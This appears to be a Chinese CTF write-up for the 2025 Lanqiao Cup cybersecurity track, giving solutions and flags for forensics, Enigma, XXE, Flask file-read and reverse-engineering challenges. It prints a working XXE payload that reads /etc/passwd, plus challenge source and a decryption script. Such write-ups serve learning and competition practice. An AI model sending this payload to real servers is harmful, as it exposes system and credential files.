当前位置: 首页 > news >正文

第十六周蓝桥杯2025网络安全赛道

因为只会web,其他方向都没碰过,所以只出了4道

做出来的:

ezEvtx

找到一个被移动的文件,疑似被入侵

提交flag{confidential.docx}成功解出

flag{confidential.docx}

Flowzip

过滤器搜索flag找到flag

flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

Enigma

将加密后的密文丢进cyberchef,选择Enigma,解出明文

flag{HELLOCTFERTHISISAMESSAGEFORYOU}

星际XML解析器

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<message>
<user>&xxe;</user>
</message>

xxe语句测试,成功访问到根目录下的flag文件

flag{232d46ad-bc55-4484-a134-45c8f54b2622}

没做出来的:

密室黑客逃脱:

快进到得到源码

import os
from flask import Flask, request, render_template
from config import *
# author: gamelabapp = Flask(__name__)# 模拟敏感信息
sensitive_info = SENSITIVE_INFO# 加密密钥
encryption_key = ENCRYPTION_KEYdef simple_encrypt(text, key):encrypted = bytearray()for i in range(len(text)):char = text[i]key_char = key[i % len(key)]encrypted.append(ord(char) + ord(key_char))return encrypted.hex()encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:f.write(hidden_file_content)@app.route('/')
def index():return render_template('index.html')@app.route('/logs')
def logs():return render_template('logs.html', log_content=log_content)@app.route('/secret')
def secret():return render_template('secret.html')@app.route('/file')
def file():file_name = request.args.get('name')if not file_name:return render_template('no_file_name.html')full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:return render_template('no_premission.html')try:with open(full_path, 'r') as f:content = f.read()return render_template('file_content.html', content=content)except FileNotFoundError:return render_template('file_not_found.html')if __name__ == '__main__':app.run(debug=True, host='0.0.0.0')

获得密钥和密文后就可以编写解密程序了

def simple_decrypt(encrypted_hex, key):encrypted_bytes = bytearray.fromhex(encrypted_hex)decrypted = bytearray()for i in range(len(encrypted_bytes)):encrypted_char = encrypted_bytes[i]key_char = key[i % len(key)]decrypted.append(encrypted_char - ord(key_char))return decrypted.decode('utf-8')print(simple_decrypt("d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af", "secret_key8672"))# flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}

解密程序不会写偷了一个,这个没得说,没有AI,我又没学过密码,确实不太会解密

ShadowPhases

现在复盘看,当时没看这道题真牛魔可惜,50分送到嘴边了都没要QaQ

下载下来exe文件检查没有壳直接丢进IDA

int __fastcall main(int argc, const char **argv, const char **envp)
{char Str1[128]; // [rsp+30h] [rbp-50h] BYREFchar Str2[128]; // [rsp+B0h] [rbp+30h] BYREFvoid *v6; // [rsp+130h] [rbp+B0h]void *v7; // [rsp+138h] [rbp+B8h]void *v8; // [rsp+140h] [rbp+C0h]void *v9; // [rsp+150h] [rbp+D0h]void *v10; // [rsp+158h] [rbp+D8h]void *v11; // [rsp+160h] [rbp+E0h]char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREFchar v13[15]; // [rsp+17Bh] [rbp+FBh] BYREFchar Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREFchar v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREFvoid *v16; // [rsp+198h] [rbp+118h]void *v17; // [rsp+1A0h] [rbp+120h]void *Block; // [rsp+1A8h] [rbp+128h]char v19[6]; // [rsp+1B2h] [rbp+132h] BYREFsize_t v20; // [rsp+1B8h] [rbp+138h]size_t v21; // [rsp+1C0h] [rbp+140h]size_t Size; // [rsp+1C8h] [rbp+148h]sub_401B10(argc, argv, envp);Src[0] = 0;Src[1] = 5;Src[2] = -125;Src[3] = 0x80;Src[4] = -114;strcpy(v15, "+");v15[2] = -125;v15[3] = 47;v15[4] = -86;v15[5] = 43;v15[6] = -127;v15[7] = -88;v15[8] = -91;Size = 14i64;v13[0] = 19;v13[1] = 57;v13[2] = -66;v13[3] = -66;v13[4] = -76;v13[5] = 56;v13[6] = -72;v13[7] = -70;v13[8] = -69;v13[9] = -76;v13[10] = 62;v13[11] = -112;v13[12] = 58;v13[13] = -70;v13[14] = -76;v21 = 15i64;v12[0] = -117;v12[1] = -119;v12[2] = 34;v12[3] = -120;v12[4] = -117;v12[5] = 32;v12[6] = 9;v12[7] = 34;v12[8] = -120;v12[9] = 8;v12[10] = -115;v12[11] = -120;v12[12] = -81;v20 = 13i64;v19[5] = -103;v19[4] = -35;v19[3] = -1;qmemcpy(v19, "\"Df", 3);Block = malloc(0xFui64);v17 = malloc(v21 + 1);v16 = malloc(v20 + 1);if ( !Block || !v17 || !v16 ){puts(Buffer);exit(1);}memcpy(Block, Src, Size);memcpy(v17, v13, v21);memcpy(v16, v12, v20);sub_4015B6(Block, Size, (unsigned __int8)v19[2]);sub_4015B6(v17, v21, (unsigned __int8)v19[1]);sub_4015B6(v16, v20, (unsigned __int8)v19[0]);*((_BYTE *)Block + Size) = 0;*((_BYTE *)v17 + v21) = 0;*((_BYTE *)v16 + v20) = 0;v9 = v17;v10 = v16;v11 = Block;v6 = Block;v7 = v17;v8 = v16;sub_401550(Str2, 128i64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);printf("请输入 flag: ");scanf("%127s", Str1);if ( !strcmp(Str1, Str2) )puts(asc_40502A);elseputs(asc_405031);free(Block);free(v17);free(v16);return 0;
}

伪C长这样,简单看一下,猜测在if ( !strcmp(Str1, Str2) )这里有flag值,在这里加断点进行动态调试

最后在栈的这里找到flag(虽然不知道为什么我看他们的是和在一行的,我的是分开的,但是只要拿到flag就好)

BashBreaker

这个题抽象的没边,不看了

RuneBreach

沟槽的pwn,不看了

crawler

两解题,当然不是我能做的

Jdbc_once

零解,可能出题方不出一个零解题出题方心里不得劲

剩下两道密码也是看都看不懂喵,但是easy_AES后面又被py烂了,咸鱼又发力了,给我的排名最后半小时挤下去150(不嘻嘻)

相关文章:

  • Docker化HBase排错实录:从Master hflush启动失败到Snappy算法未支持解决
  • 求解,如何控制三相无刷电机?欢迎到访评论
  • 5G助力智慧城市的崛起——从概念到落地的技术实践
  • Pygame跨平台打包:将游戏发布到Windows、Mac和Linux
  • 【C++】stack、queue和priority_queue的模拟实现
  • 精益数据分析(28/126):解读商业模式拼图与关键指标
  • Ubuntu20.04部署Dify(Docker方式)
  • STL中emplace实现原理是什么?
  • tigase源码学习杂记-IO处理的线程模型
  • 如何导出1寸分辨率为300及以上的照片?
  • TC3xx学习笔记-UCB BMHD使用详解(一)
  • 如何给GitHub项目提PR(踩坑记录
  • 【Linux网络】构建HTTP响应与请求处理系统 - HttpResponse从理解到实现
  • 目标检测原理简介
  • Linux系统编程之内存映射
  • AI编程方法第六弹:高效编码离不开编程者经验引导
  • 设计看似完美却测不过? Intra-Pair Skew 是「讯号完整性(Signal Integrity)」里最隐形的杀手
  • venv环境基础指令以及常见问题汇总(持续更新)
  • 《AI大模型趣味实战》智能Agent和MCP协议的应用实例:搭建一个能阅读DOC文件并实时显示润色改写过程的Python Flask应用
  • WPF之项目创建
  • 人民日报:应对外贸行业风险挑战,稳企业就是稳就业
  • 中国航天员乘组完成在轨交接,神十九乘组将于29日返回地球
  • 六部门:进一步优化离境退税政策扩大入境消费
  • 京东美团开打,苦了商家?
  • 识味顺德︱顺德菜的醉系列与火滋味
  • 甘肃省原副省长赵金云被开除公职,甘肃省委表态:坚决拥护党中央决定